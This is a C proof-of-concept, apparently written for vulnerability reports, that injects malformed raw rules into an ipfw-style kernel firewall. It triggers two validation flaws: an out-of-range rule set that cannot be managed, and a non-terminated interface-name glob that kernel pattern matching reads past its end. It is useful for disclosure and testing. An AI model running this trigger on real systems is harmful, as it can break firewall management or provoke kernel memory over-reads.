DF-3261 / addset.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* * DF-3261 / DF-3262 raw ipfw rule installer. * * Talks IP_FW_ADD directly (same getsockopt path as ipfw(8), ip_fw2.c:6576) * so the `set` byte and the O_VIA name[] bytes can be set to values the * CLI cannot express: * * DF-3261: set = 40 (>= IPFW_DEFAULT_SET=32). ipfw_check_ioc_rule never * validates it (ip_fw2.c:5311-5520); classification computes * ipfw_set_disable & (1 << f->set) with f->set=40 (ip_fw2.c:3601) * -- x86 masks the shift to 1<<8, so the rule silently belongs * to set 8 for enable/disable purposes while `ipfw set move` * (which compares the raw byte) can never address it. * * DF-3262: an O_VIA/O_RECV/O_XMIT instruction whose 16-byte trailing name * has NO NUL byte (validation at ip_fw2.c:5480-5483 only checks * the instruction length, never the termination); with * p.glob=1, iface_match() feeds kfnmatch(cmd->name,...) a * non-terminated pattern (ip_fw2.c:1355). * * usage: * addset <set> <rulenum> -- minimal count rule in <set> * addset via <rulenum> <name16> -- O_VIA glob rule, 16-byte raw name */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> /* mirrored from sys/net/ipfw/ip_fw2.h (kernel header, kept in sync) */ struct ioc_rule_hdr { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t usr_flags; uint32_t set_disable; uint32_t static_count; uint32_t static_len; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; uint8_t reserved[16]; /* cmd[] follows: uint32_t words */ }; struct insn { uint8_t opcode; uint8_t len; uint16_t arg1; }; enum { O_COUNT = 105 - 105 + 105, /* placeholder replaced below */ }; /* exact enum values from sys/net/ipfw/ip_fw2.h (verified by parsing) */ #define OPC_VIA 19 #define OPC_COUNT 46 #define IOC_RULE_HDR_WORDS 15 /* cmd[1] is embedded at byte 60: header words before it = 15 */ static uint32_t buf[256]; static void install(struct ioc_rule_hdr *r, int total_bytes) { int s, i; i = total_bytes; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket"); exit(2); } { int w; fprintf(stderr, "send %d bytes:", i); for (w = 0; w < i / 4 && w < 20; w++) fprintf(stderr, " %08x", buf[w]); fprintf(stderr, "\n"); } if (getsockopt(s, IPPROTO_IP, IP_FW_ADD, r, &i) < 0) { int ge = errno; if (setsockopt(s, IPPROTO_IP, IP_FW_ADD, r, i) < 0) { fprintf(stderr, "IP_FW_ADD failed: get %s / set %s\n", strerror(ge), strerror(errno)); exit(1); } printf("(installed via setsockopt)\n"); } printf("installed: rulenum %u set %u act_ofs %u cmd_len %u\n", r->rulenum, r->set, r->act_ofs, r->cmd_len); } int main(int argc, char **argv) { struct ioc_rule_hdr *r = (struct ioc_rule_hdr *)buf; struct insn *c; if (argc >= 4 && !strcmp(argv[1], "via")) { /* O_VIA (6 words) + O_COUNT (1 word); name = argv[3] raw 16B */ const char *nm = argv[3]; memset(buf, 0, sizeof(buf)); r->rulenum = atoi(argv[2]); r->set = 0; r->cmd_len = 7; r->act_ofs = 6; /* action = O_COUNT at word 6 */ c = (struct insn *)&buf[IOC_RULE_HDR_WORDS]; c->opcode = OPC_VIA; c->len = 6; c->arg1 = 0; { struct via_insn { struct insn i; uint8_t glob; uint8_t flags; char name[16]; } *v = (struct via_insn *)&buf[IOC_RULE_HDR_WORDS]; v->glob = 1; /* p.glob -> kfnmatch path */ memcpy(v->name, nm, 16); /* NO NUL termination */ } c = (struct insn *)&buf[IOC_RULE_HDR_WORDS + 6]; c->opcode = OPC_COUNT; c->len = 1; install(r, 4 * (IOC_RULE_HDR_WORDS + 7)); return 0; } if (argc >= 3 && strcmp(argv[1], "via")) { memset(buf, 0, sizeof(buf)); r->rulenum = atoi(argv[2]); r->set = (uint8_t)strtoul(argv[1], NULL, 0); r->cmd_len = 1; r->act_ofs = 0; c = (struct insn *)&buf[IOC_RULE_HDR_WORDS]; c->opcode = OPC_COUNT; c->len = 1; install(r, 4 * (IOC_RULE_HDR_WORDS + 1)); return 0; } fprintf(stderr, "usage: addset <set> <rulenum> | addset via <rulenum> <16-byte-name>\n"); return 2; } |